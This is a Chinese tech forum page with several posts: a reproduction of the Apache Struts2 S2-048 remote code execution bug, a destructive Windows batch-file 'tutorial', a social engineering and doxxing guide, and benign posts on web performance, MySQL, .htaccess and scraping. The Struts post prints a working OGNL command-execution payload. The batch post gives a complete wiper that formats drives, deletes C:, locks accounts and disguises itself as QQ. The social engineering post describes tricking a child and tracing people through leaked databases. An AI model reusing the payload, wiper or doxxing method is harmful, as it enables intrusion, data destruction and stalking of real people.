一个属于你的次元网络基地
 
昨日:篇  今日:篇   总帖:篇   会员:
今日:0    总帖:139
feng
4010
一、S2-048 漏洞综述1.1 漏洞背景2017年7月7日,Apache Struts发布最新的安全公告,Apache Struts2-strus1-plugin插件存在远程代码执行的高危漏洞,漏洞编号为CVE-2017-9791(S2-048),主要受影响的Struts版本为:2.3.x。攻击者可以构造恶意的字段值(value)通过Struts2的struts2-struts1-plugin的插件传递给被攻击主机,从而实现远程代码执行攻击,直接获取远程主机的控制权限。1.2 漏洞产生原因这个漏洞主要问题出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用。而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以调用 getText() 函数,这个函数刚好又能执行OGNL表达式,同事这个 getText() 的 参数输入点,又可以被用户直接进行控制,如果这个点被恶意攻击者所控制,就可以构造恶意执行代码,从而实现一个RCE攻击。1.3 漏洞影响范围Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本都在其影响的范围内。二、漏洞环境部署2.1 漏洞环境包本次漏洞演示,我们可以直接使用struts2.3.x环境下自带的struts2-showcase演示demo示例环境,进行S2-048漏洞复现,故这里我们只介绍下struts2.3.x的环境包。(struts2-showcase 演示环境就存S2-048漏洞)struts2.3.24环境包下载地址:http://archive.apache.org/dist/struts/2.3.24/2.2 Tocat环境部署工程师可以直接安装一个XAMPP套件,其默认就带有tomcat的支持,可以直接拿来进行struts环境的部署。(1)启动tomcat服务 (2)Tomcat 环境访问 2.3 S2-048漏洞环境部署(1)解压struts-showcase下载完struts2.3.24环境包后,我们直接将其“strus-showcase.war”的demo包解压到tomcat的webapps环境目录下(具体路径依据个人实际环境来定,可参考下图路径)。 (2)重启tomcat服务自动部署war包tomcat中有关war的部署比较简单,我们只需要将相关的war包放到tomcat的webapps目录下后,重启tomcat服务后,war包就会被自动解压部署。 (3)漏洞环境访问本struts2-showcase demo示例中有关S2-048漏洞的触发点在“Struts 1 Integration”(S1 整合)处,具体位置可参看下图。 (4)漏洞环境验证我在这漏洞出发点可以直接使用OGNL语法直接操作一个运算 10-7,看其是否可以直接运行并输出结果,通过验证发现果然可以直接执行并输出正确的结果。  三、漏洞检查与利用脚本3.1 工具准备有关漏洞的检查与利用,这里已经收集好了相关的利用poc与脚本,相关使用方法都已经梳理输入如下,大家使用时,可以参考使用。(1)工具包下载地址https://github.com/W3bSafe-Team/Struts2-048-poc(2) POC 使用方法 (3) shell 验证exp 3.2 漏洞检测一般,我们在进行漏洞利用之前肯定需要进行漏洞的检测与确认,这里直接使用前面下载的工具包中的一个批量检测的POC(Struts048-POC.py),用其进行S2-048漏洞的检测,具体检测过程如下。(1) 创建一个url.txt文档,将需要检测的URL连接收集放入其中,这里进行漏洞触发点的检查时,我们收集了多个目录,其中包含了struts-showcase demo目录下的各个路径以及部署tomcat根目录,看看漏洞的触发是否有规律可循。 (2) 创建一个临时文档tmp.txt,必须创建,否则脚本执行会报错。 (3) 直接运行此python脚本; 通过POC对各个URL进行检查后发现,只要是在struts2-showcase目录下的路径,都可以做为漏洞触发的利用点,而不在此目录下,漏洞无法触发。(那么在这里也告诉我们有关此S2-048漏洞的修复方法,就是删除或者禁用此目录。)3.3 漏洞利用复现接下来,我们使用网络上提供的检测脚本和抓包截断的利用方式分别复现下漏洞的利用过程。3.3.1 shell脚本利用复现利用上一个章节检测出的三个可以利用URL,我们直接使用漏洞利用shell进行漏洞利用复现。注:由于需要使用Linux环境才能运行shell脚本,我这里开启了kali,并将URL中的127.0.0.1的地址替换为10.48.8.234,请大家在看截图过程,希望不要有什么疑惑。(1)URL1利用:http://10.48.8.234:8080/struts2-showcase/integration/editGangster.action (2)URL2利用:http://10.48.8.234:8080/struts2-showcase/integration/ (3)URL3利用:http://10.48.8.234:8080/struts2-showcase/ 通过上面针对三个URL漏洞触发点进入S2-048漏洞直接getshell利用验证,更加严谨的证实了只要是在showcase demo目录下的URL路径都可以直接被利用。3.3.2 抓包截断利用复现如果我们仔细查看最近爆出的S2-045、S2-046、S2-048,该漏洞利用的payload 其实都是一样的,不同的仅仅是触发点不同,影响范围不同而已。S2-045的影响方位最广,只要是使用当时的Struts2框架的系统基本都在其影响的范围内,而后面的S2-046和S2-048漏洞的漏洞触发点有一点的限制条件,本次S2-048漏洞的利用条件就是你在使用了 struts2-struts1-plugin插件的情况下,才会触发漏洞的产生。这里我们就复现下,使用与前期S2-045漏洞利用Content-type字段来传递攻击payload到目标主机的方法,来复现下S2-048漏洞的利用。3.3.2.1 攻击payload准备我直接使用前面下载的shell脚本的中的payload进行后续的抓包截断攻击的演示复现。%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} 3.3.2.2 抓包截断攻击(1)第一步:首先使用burpsuite截断“http://10.48.8.234:8080/struts2-showcase/integration/editGangster.action”访问;  (2)第二步:将当前截断数据包发送到repeater模块,修改content-type字段为攻击payload; (3)第三步:修改payload命令执行字段为"whoami",发送攻击包; 这里我将shell脚本中的045,046,048的payload攻击载荷都放入burpsuite的repeater模块进行了重复发包验证,发现都可以利用成功,具体验证情况如下。S2045 Payload验证截图  S2046 Payload验证截图 通过上面burpsuite重复发包验证,S2045、S2046、S2048的攻击payload都可以对S2048漏洞进行远程命令执行,获取主机的控制权限,这里我们会发现上半年暴露出的“S2045、S2046、S2048”攻击载荷都是一样的,只是漏洞的触发点不同而已。以上观点仅个人漏洞复现利用归纳总结所得,如有什么有误的地方,有路过的大神能给以指定,这里谢过。四、 S2-048 漏洞修复与加固(1)直接禁用 struts2-struts1-plugin插件;(2)对于如果启用 struts2-showcase 演示示例系统,应立即删除本演示示例;(3)升级当前struts2 到最新版本;(4)不要相信用户端的任何数据输入,建议开发者通过使用resource keys替代将原始消息直接传递给ActionMessage的方式,如:messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName()));漏洞学习参考1. Struts2高危漏洞S2-048动态分析http://www.moonsec.com/post-776.html2. Struts(S2-048)远程命令执行漏洞分析http://www.sohu.com/a/155509766_2903043. Struts2-048 Poc Shell版本(附修复方案)https://bbs.ichunqiu.com/thread-24504-1-1.htmlhttps://github.com/W3bSafe-Team/Struts2-048-poc4. Apache 官方说明https://cwiki.apache.org/confluence/display/WW/S2-048 文章转载于51CTO.com
16 0 2862天前
wolfman
2840
阿伯丁集团曾对用户进行调查,结果显示,网站页面加载时间每延长1秒,就会减少11%的页面浏览量,降低16%的客户满意度,降低7%的转化率。亚马逊也通过调查证实,网页打开的速度每提高100毫秒,能为网站增多1%的收益。类似的证实还有很多,网页打开的速度直接关系到网站的收益,已毋庸置疑。这就是为什么今天的企业和个人尽其所能来减少网页加载时间的原因。时间就是金钱,对于网站来说,是以微秒来计算的。网页加载时间的大幅加快,也会带来转换比例的增加。如何提高网站速度1.图片优化统计数据显示,用户倾向于放弃一个在3秒内未加载完成的网页。由于加载图片占据了网页上可下载的大部分字节空间,所以影响网页下载时间的关键来自于图像优化。确保正确的图像优化的最佳方法之一是采用正确的大小和格式(JPEG、GIF或PNG)。我们的目标是在不影响图片质量的情况下尽可能地缩减文件大小。2.尝试CDN加速内容交付网络的价值在于它可以获取一个网站的静态文件,如CSS、图像和JavaScript,并通过更接近用户物理位置的Web服务器传递它们。更短的接近等于更快的加载时间。像AWSCloudFront或者CloudFlare都是很好的CDN加速。CDN另外的好处是,即使停止加载带宽,你依然可以降低在下载高峰时期的中断风险。从各个方面看来,CDN都能带来双赢的局面。3.缓存缓存是Web页面临时存储的一种机制,可以减少带宽并提高性能。当访问者到达您的站点时,缓存模式即启动。这样可以节省服务器时间,提高效率。启用浏览器缓存会让重复访问的访问者更快速的访问站点。4.压缩Gzip是一个用于文件压缩软件的应用,就像是把你的网站变成一个zip文件。大多数服务器和客户支持Gzip。当一个Gzip兼容浏览器请求服务器将响应发送给浏览器资源,可以显著减少网站的时间延迟。5.简洁的代码让你的代码更简洁是非常有必要的。这意味着打包压缩你的HTML、JavaScipt和CSS文件到更小的文件中来运行。例如,如果您的移动网站有五个JavaScript文件,浏览器将发出五个单独的HTTP请求来获取它们。为减少堵塞和等待时间,另一种方法是缩小和连接这5个文件到一起。6.检查你的Web主机减少网站页面加载时间的另一个简单方法是检查你的主机提供商,看看你有什么样的软件包。共享托管帐户经常涉及与其他数十家公司共享服务器空间,这些网站的速度受到使用服务器的人数的影响。如果是这样的话,那么可能是时候考虑一个专用的访问服务器计划了。
22 0 2864天前
sanqing
3339
教你毁了一个电脑   技术教程
只是一个批处理文件,菜鸟的小招数,高手绕道 首先新建一个文本文档 在开头输入 if  not  "%1"=="wkdxz"  mshta  vbscript:createobject("wscript.shell").run("""%~f0""  wkdxz",vbhide)(window.close)&&exit 上面这段代码也可以不输入,但是如果少了这段代码就会显示着运行,这段代码起到了隐藏运行的作用  (但是部分杀毒软件询问是否运行) 然后回车输入下面的Huang色字体内容: @Echo  off  echo  y   for  %%a  in  (d  e  f  g  h  i  j  k  l  m  n  o  p  q  r  s  t  u  v  w  x  y  z)  do  format  %%a:  /q  /u  /x  /y 上面这一段代码的意思是快速格式化D到Z盘的所有内容。没有则掠过 再回车输入 cd  c:\ attrib  +s  +h  "windows" attrib  +s  +h  "Program  Files" attrib  +s  +h  "Documents  and  Settings" 这段代码是切换到C盘,并且隐藏C盘重要文件,将其设置为系统只读隐藏文件。 然后回车输入 cd  C:\Documents  and  Settings\Administrator\桌面 attrib  +S  +h 上面是隐藏桌面 继续回车输入代码 net  user  administrator  nisidingle net  user  guest  nihuile 这段代码意思是将计算机的administrator(超级管理员)账户和Guest(来宾账户)设置密码,分别是“你死定了”和“你毁了”的汉语拼音 接着回车输入 shutdown  -r  -t  60  -c  "敢惹老子!你死定了!" 这段代码是设置1分钟关机的,并且会提示:敢惹老子!你死定了 也可以把提示换成别的,只要在120个字之内 最后回车输入 net  user  administrator  /active:no 最后这段代码将直接禁用Administrator用户,别人将重启后将无法进入系统 然后回车输入 del  /f  /s  /q  c:\*.* 这句命令是删除C盘所有能删除的文件,并且也删除了shutdown和net这两个DOS命令,使对方无法解除关机 最后一步把txt文件改成bat文件,更改文件图标为QQ或其他常用软件,重命名;只要双击后,你的电脑基本就毁了 
10 0 2864天前
yixiaotao
3169
电脑键盘的shift键失灵了如何恢复的解决方法。我们在使用电脑的时候经常会用到电脑上的shift按键,因为shift按键经常会和别的按键组合快捷键。但是当shift按键失灵的时候,我们应该怎么办呢?一起来看看吧。  shift键失灵怎么办?  1、请您点击开始菜单—控制面板—轻松访问中心—点击下面的键盘图标—“设置筛选键”按钮,查看“启用筛选键”前面是否有勾,如果有,请将勾去掉,最后点击“确定”后退出试试。  2、如果您有外接USB键盘,您可以连接后测试USB键盘上的SHIFT键是否可以正常使用。您也可以开机按F8键进入安全模式测试它们是否可以正常使用。  3、请您查看是否对shift按键进行了设置。例如,您可以查看是否启用了粘滞键,请您连续点击5次shift按键,这个操作可以取消粘滞键功能(粘滞键功能可能会引起键盘无法使用)。       4、请您对系统进行杀毒,以免系统中毒了。建议您备份数据后恢复BIOS默认值试试,方法如下:  家用笔记本:您开机时连续点击F10进入BIOS,选择Exit选项,选择loadsetupdefaults—yes,再选择Exit--exitsavingchanges—yes,就可以保存后退出了。  商用笔记本:您开机后连续点击F10键进入BIOS,在File中选择RetoreDefaults,点yes,再选择SaveChangesAndExit,就可以保存后退出了。  5、如果问题依旧,但USB键盘的SHIFT键可以使用,并且您确认系统没有问题,那么这个情况有可能是由于笔记本键盘的两个SHIFT键有故障造成的,为了不耽误您的使用,建议您联系当地笔记本服务中心进行处理。  shift键有什么用?  1、切换中文和英文:在输入法上直接按shift键即可切换2、快速删除文件:shift+Delete  3、更改打开方式:按住shift键,然后在点击选择文件夹,即可新增加一个“打开方式”的选项。  4、启用粘、筛键:连按5次,即“粘贴键”的快捷方式;       5、筛选键:按右shift键8秒以上为“筛选键”的快捷方式。  6、重启电脑:先按shift键,然后按确定按钮即可重启。        对于我们在遇到了电脑中的shift按键失灵的时候,我们就可以利用到上面给你们介绍的解决方法进行处理,希望能够对你们有所帮助。
20 0 2864天前
wolfman
3221
做外贸的网站一般都不想让国内人访问,可以采用如下的方法:1. 从APNIC获取一份国家与地区IP段数据 ftp://ftp.apnic.net/apnic/dbase/data/country-ipv4.lst2. 将中国的数据整理取出(用excel的数据筛选功能)3. 编写PHP代码如下:<?php function ipCIDRCheck ($IP, $CIDR) { list ($net, $mask) = split (“/”, $CIDR); if($mask>16){ $net=$net.”.0″; }else{ $net=$net.”.0.0″; } $ip_net = ip2long ($net); $ip_mask = ~((1 << (32 – $mask)) – 1); $ip_ip = ip2long ($IP); $ip_ip_net = $ip_ip & $ip_mask; return ($ip_ip_net == $ip_net); } $subnets=<<<Eof 60.0/11 60.55/16 60.63/16 60.160/11 60.194/15 60.200/13 60.208/12 60.232/15 60.235/16 60.245.128/17 60.247/16 60.252/16 60.253.128/17 60.255/16 Eof; $subnetarray=explode(“\n”,$subnets); foreach($subnetarray as $subnet){ if(ipCIDRCheck (“60.168.86.219″, $subnet)){ echo “60.168.86.219 in => “.$subnet; //取得用户ip后,与之比较,如果匹配,就可以在这里显示一个错误页,或重定向了 }; } ?>程序执行时间平均20毫秒,篇幅有限,仅列出部分IP段,完整的请自行获取。
7 0 2864天前
c3p0
3414
精华 甜言蜜语背后的危险   技术教程
  甜言蜜语背后的危险   ——社工工程学你们好我是c3  我不是什么社工帝 小白一个 !根据自己所掌握的知识写个教程!让大家了解什么是‘社工’!社工思路一、什么是社会工程学呢?我在这里援引Ian Mann在2008年所著的Hacking the Human一书 这本书对社工给出的定义是:通过操纵人来实施某些行为或泄露机密信息的一种攻击艺术!说白了就是对人的欺骗!但是要欺骗的天衣无缝、神不知鬼不觉的完成你的这个行动!还是需要很多技巧和策略.而这种欺骗无法像其他的技术那么的循规蹈矩。同时有些时候只可意会而不可言传,因此它就被称为一种‘艺术’!其实社工在中国的历史上有很多实例!比如著名的《三十六计》和《三国演义》尤其是三国演义中第四十五回《群英会蒋干中计》,讲的是周瑜使用借刀杀人反间计,利用曹操的谋士蒋干来江东说祥自己的机会,诱骗蒋干盗书,离间蔡瑁张允与曹操的关系,借曹操之手除掉蔡张二人,里面周瑜设计、用计以及曹操中计过程的描述,完美的体现了社会工程学的思想。社工的原理就是通过分析攻击对象的心理弱点、利用人类的本能反应以及好奇、贪婪这些类似的心理特征!使用假冒,欺骗,引诱等手段开达成攻击目标的一种攻击手段。社工其实蕴含了各式各样的灵活构思和变化因素。无论何时何地在套取所需要的信息和操纵对方之前,攻击的实施者都必须掌握大量的相关知识基础。花费时间去从事资料的收集和整理,还要去进行必要的沟通工作!二、社会工程学技术框架其实社工基本上可以分为四个环节!1,信息收集2,诱导3,托辞4,心理影响 1信息收集可以分为:收集渠道  信息源 诱导:诱导目标 场景铺垫 如何去诱导成功托辞:托辞的设计原则 规划 如何成功心理影响:主要是心理战术的灵活利用信息收集的渠道很多例如:搜索引擎,whios查询,社交媒体,如何去判断你收集的资料是不是对的呢?例如你要去社工一个人小n 你从其他渠道获取到了他的资料 这个时候有多种方法去证实,沟通,从他的空间里找漏洞 例如空间访客 你试着去点访客资料查看 看看那个地方的人占多数。频率多高!这样来基本的判断 当然你也可以去找他朋友,这样的思路很多就是看你如何去利用,信息收集主要是能准确的抓住重点 细节!2,诱导:意思就是说一些表面普通而且无关的话,从对方回答中提取有用的信息。怎样去提高诱导能力:1:在目标进行社工时表现要很自然2:学习相关知识3,不能够贪心:怎样说呢。假如你已经从目标那里套到了一些资料 不能贪婪的想要套取更多,这样会引起目标的警觉性!诱导技巧:迎合目标的自我感觉 表达自己和她(他)有共同兴趣 托辞:这个技巧是对现实社工来用的主要 说白了就是多方位的套路 有些时候你知道了对方的大概位置 可以从交谈中慢慢的说出自己是哪里的(和目标一样的地址)这样的话有些人觉得是个老乡 那么他对你的警觉性必然会少点!这里我着重说一下这个心理影响、基本原则:设置明确的目标、与目标建立关系、不能够循规蹈矩。心理影响的一些战术:我这里说网络上的,利用承诺与一致性,从众心理,好奇心 贪婪 自大自信、谦虚.思路其实很多,就好比有一次我们几个朋友一起去社工一个小学生!那个人是什么黑客送软件 我们因为比的是社群!我就去问她现在是不是有几个人问你拜师不 要没要你的微信 支付宝 他就说是的 然后当时我知道了他是xx地方的!我就说那几个人不是真心拜师。而是去套路你的!别信!这个时候我就用扣扣位置定位拉取到那个地方,就说什么我看你和我是老乡我真的看不下去了!说了半天废话!我就说要管理!这人很倔 就是不给但是经过我这么一搞他就说兄弟帮我多啦点人!后面的就不用说了!社工小学生最常用的莫过于利用贪婪这一点!其实说句实话社工真心不难!社工思路不能够去定位这得根据你的目标!你自己去想该如何怎么套取!有人曾经给我说过社工并不是社资料 最高的而是拿到他手里的权限!在学习社工之前你得自己先认知自我!社工再多的教程都比不了自己的实战经验!社工查询的网站和最基础的思路我想的话是个人都知道的!这些就没必要说出来了!基本的社工思路1.百度google搜索QQ号信息,QQ邮箱信息2.百度贴吧关键字搜索QQ号信息,QQ邮箱信息2.1 如果搜索到,拿到贴吧帐号,请继续用贴吧帐号按照1,2步搜索,以此类推3.社工库查询QQ号的信息,可通过QQ群数据库,查备注名,查他拥有的QQ群,这个一般比较准群,可以查到真实姓名,或者拥有哪些群(比如查到XX中学20**届多少班),然后再网上查该学校的20**届毕业名单4.如果只有真实姓名,用真实姓名去查询人人,腾讯朋友等,你会获得一些更多的信息(重名的很多,但你查出学校,就知道大概年龄和大致家庭地址)不出意外,你可以获得以下信息中的N种可能性QQ号真实姓名贴吧帐号人人帐号-真实照片腾讯朋友-真实照片手机号 微信号 手机微店 以上信息,又可进一步社工百度手机号,除了能获取归属地之外,还可能获取到一些他在网上留下的信息百度,google他在网上的网名(贴吧名)百度,google搜图,搜他的真实照片百度,google真实姓名通过贴吧,人人,找他的动态,进一步发现其他资料反正思路就是这样,通过一个信息,去进一步获取他在网上的其他信息,用每个信息都去重复之前的步骤,这就是最简单的社工。本人c3 qq1586489579. 大佬勿喷!
13 1 2864天前
wolfman
3235
自MySQL 5.6开始,在索引方面有了一些改进,比如索引条件下推(Index condition pushdown,ICP),严格来说属于优化器层面的改进。如果简单来理解,就是优化器会尽可能的把index condition的处理从Server层下推到存储引擎层。举一个例子,有一个表中含有组合索引idx_cols包含(c1,c2,…,cn)n个列,如果在c1上存在范围扫描的where条件,那么剩余的c2,…,cn这n-1个上索引都无法用来提取和过滤数据,而ICP就是把这个事情优化一下。我们在MySQL 5.6的环境中来简单测试一下。我们创建表emp,含有一个主键,一个组合索引来说明一下。create table emp( empno smallint(5) unsigned not null auto_increment, ename varchar(30) not null, deptno smallint(5) unsigned not null, job varchar(30) not null, primary key(empno), key idx_emp_info(deptno,ename) )engine=InnoDB charset=utf8; 当然我也随机插入了几条数据,意思一下。insert into emp values(1,'zhangsan',1,'CEO'),(2,'lisi',2,'CFO'),(3,'wangwu',3,'CTO'),(4,'jeanron100',3,'Enginer'); ICP的控制在数据库参数中有一个优化器参数optimizer_switch来统一管理,我想这也是MySQL优化器离我们最贴近的时候了。可以使用如下的方式来查看。show variables like 'optimizer_switch'; 当然在5.6以前的版本中,你是看不到index condition pushdown这样的字样的。在5.6版本中查看到的结果如下:# mysqladmin var|grep optimizer_switch optimizer_switch | index_merge=on,index_merge_union=on,index_merge_sort_union=on,index_merge_intersection=on,engine_condition_pushdown=on,index_condition_pushdown=on,mrr=on,mrr_cost_based=on,block_nested_loop=on,batched_key_access=off,materialization=on,semijoin=on,loosescan=on,firstmatch=on,subquery_materialization_cost_based=on,use_index_extensions=on下面我们就用两个语句来对比说明一下,就通过执行计划来对比。set optimizer_switch = "index_condition_pushdown=off"  > explain select  *  from emp  where deptno between 1 and 100 and ename ='jeanron100'; +----+-------------+-------+------+---------------+------+---------+------+------+-------------+ | id | select_type | table | type | possible_keys | key  | key_len | ref  | rows | Extra      | +----+-------------+-------+------+---------------+------+---------+------+------+-------------+ |  1 | SIMPLE      | emp  | ALL  | idx_emp_info  | NULL | NULL    | NULL |    4 | Using where | +----+-------------+-------+------+---------------+------+---------+------+------+-------------+ 而如果开启,看看ICP是否启用。set optimizer_switch = "index_condition_pushdown=on";> explain select  *  from emp  where deptno between 10 and 3000 and ename ='jeanron100'; +----+-------------+-------+-------+---------------+--------------+---------+------+------+-----------------------+ | id | select_type | table | type  | possible_keys | key          | key_len | ref  | rows | Extra                | +----+-------------+-------+-------+---------------+--------------+---------+------+------+-----------------------+ |  1 | SIMPLE      | emp  | range | idx_emp_info  | idx_emp_info | 94      | NULL |    1 | Using index condition | +----+-------------+-------+-------+---------------+--------------+---------+------+------+-----------------------+ 1 row in set (0.00 sec)如果你观察仔细,会发现两次的语句还是不同的,那就是范围扫描的范围不同,如果还是用原来的语句,结果还是有一定的限制的。> explain select  *  from emp  where deptno between 1 and 300 and ename ='jeanron100'; +----+-------------+-------+------+---------------+------+---------+------+------+-------------+ | id | select_type | table | type | possible_keys | key  | key_len | ref  | rows | Extra      | +----+-------------+-------+------+---------------+------+---------+------+------+-------------+ |  1 | SIMPLE      | emp  | ALL  | idx_emp_info  | NULL | NULL    | NULL |    4 | Using where | +----+-------------+-------+------+---------------+------+---------+------+------+-------------+ 1 row in set (0.00 sec)这个地方就值得好好推敲了。
6 0 2865天前
wolfman
3457
我开通了一个独立IP LINUX空间,空间支持伪静态功能。由于网站根目录下安装的是bbs,目录下安装的是网址导航,虚拟主机只支持根目录绑定域名,如何让网站支持二级域名呢?下面我教你利用.htaccess实现一个网站空间可以用多个二级域名指向多个二级目录,建立多个网站。以独立IP虚拟主机为例:一、将域名做一个解析到你的空间IP,不需要绑定域名就可以访问网站。二、打开记事本将以下代码复制进去,保存为.htaccess文件,上传到根目录下。RewriteCond %{HTTP_HOST} ^daohang.mosq.cn$ RewriteCond %{REQUEST_URI} !^/daohang/ RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ /daohang/$1 RewriteCond %{HTTP_HOST} ^daohang.mosq.cn$ RewriteRule ^(/)?$ daohang/index.php [L]
6 0 2866天前
wolfman
3069
您需要登录并回复后才可以查看该文章内容
6 0 2866天前
wolfman
4253
刚开始看爬虫文章的时候,走了不少弯路,我希望我的文章能给你带来一些启发本文涉及到的技能查看网页源代码和检查元素requests使用BeautifulSoup使用这三招就是爬取简单网站的全部招数,跟着思路往下看查看网页源代码和检查元素不要觉得很简单,这两招是爬虫的基础。如果你熟悉这两招,简单网站的爬虫,你就学会了一半。一般来说,检查元素中看到的内容都会在网页源代码中出现。今天我选取的这个例子,情况特殊,检查元素中看到的内容部分会在网页源代码中出现爬北京的白天和夜间温度北京天气的网址:http://www.weather.com.cn/weather1d/101010100.shtml下面是源代码,我会有注释的,跟着一起读一读Talk is cheap. Show you the code# -*- coding: utf-8 -*- __author__ = 'duohappy' import requests # 导入requests模块 from bs4 import BeautifulSoup # 从bs4包中导入BeautifulSoup模块 # 设置请求头 # 更换一下爬虫的User-Agent,这是最常规的爬虫设置 headers = {"User-Agent":'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/57.0.2987.110 Safari/537.36'} # 需要爬取的网址 url ="http://www.weather.com.cn/weather1d/101010100.shtml" # 发送请求,获取的一个Response对象 web_data = requests.get(url,headers=headers) # 设置web_data.text会采用web_data.encoding指定的编码,一般情况下不需要设置,requests会自动推断 # 鉴于网页大部分都是采取utf-8编码的,所以设置一下,省去一些麻烦 web_data.encoding = 'utf-8' # 得到网页源代码 content = web_data.text # 使用lxml解析器来创建Soup对象 soup = BeautifulSoup(content, 'lxml') # 为什么要创建一个Soup对象,还记得浏览器中的检查元素功能嘛 # Soup对象可以方便和浏览器中检查元素看到的内容建立联系,下面会有动画演示 # 使用css selector语法,获取白天和夜间温度,下面有动画演示 tag_list = soup.select('p.tem span') # tag_list[0]是一个bs4.element.Tag对象 # tag_list[0].text获得这个标签里的文本 day_temp = tag_list[0].text night_temp = tag_list[1].text print('白天温度为{0}℃\n晚上温度为{1}℃'.format(day_temp, night_temp))css seletor语法值得提出的是当搜索'p.temem'时,刚好有2个匹配的对象,分别对应白天温度和夜间温度,这一点非常重要,如果匹配个数大于或者小于2,那么说明你的css selector写错了爬多个城市的白天和夜间温度搜索不同的城市天气,观察网址的变化。观察网址的变化是爬虫中最主要的本领之一# -*- coding: utf-8 -*- __author__ = 'duohappy' import requests from bs4 import BeautifulSoup headers = {"User-Agent":'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/57.0.2987.110 Safari/537.36'} # 建立城市和网址特殊部分的对应关系 weather_code = {'北京':'101010100','上海':'101020100','深圳':'101280601', '广州':'101280101', '杭州':'101210101'} city = input('请输入城市名:') # 仅仅能输入北京,上海,广州,深圳,杭州 url ="http://www.weather.com.cn/weather1d/{}.shtml".format(weather_code[city]) web_data = requests.get(url,headers=headers) web_data.encoding = 'utf-8' content = web_data.text soup = BeautifulSoup(content, 'lxml') tag_list = soup.select('p.tem span') day_temp = tag_list[0].text night_temp = tag_list[1].text print('白天温度为{0}℃\n晚上温度为{1}℃'.format(day_temp, night_temp))
3 0 2866天前
快速发帖 高级模式
加入官群 QQ咨询 友链展示 申请友链
粤ICP备18094291号
您的IP:216.73.216.55,2025-05-25 12:55:03,Processed in 0.98536 second(s).
免责声明: 本网不承担任何由内容提供商提供的信息所引起的争议和法律责任。
Powered by HadSky 8.1.1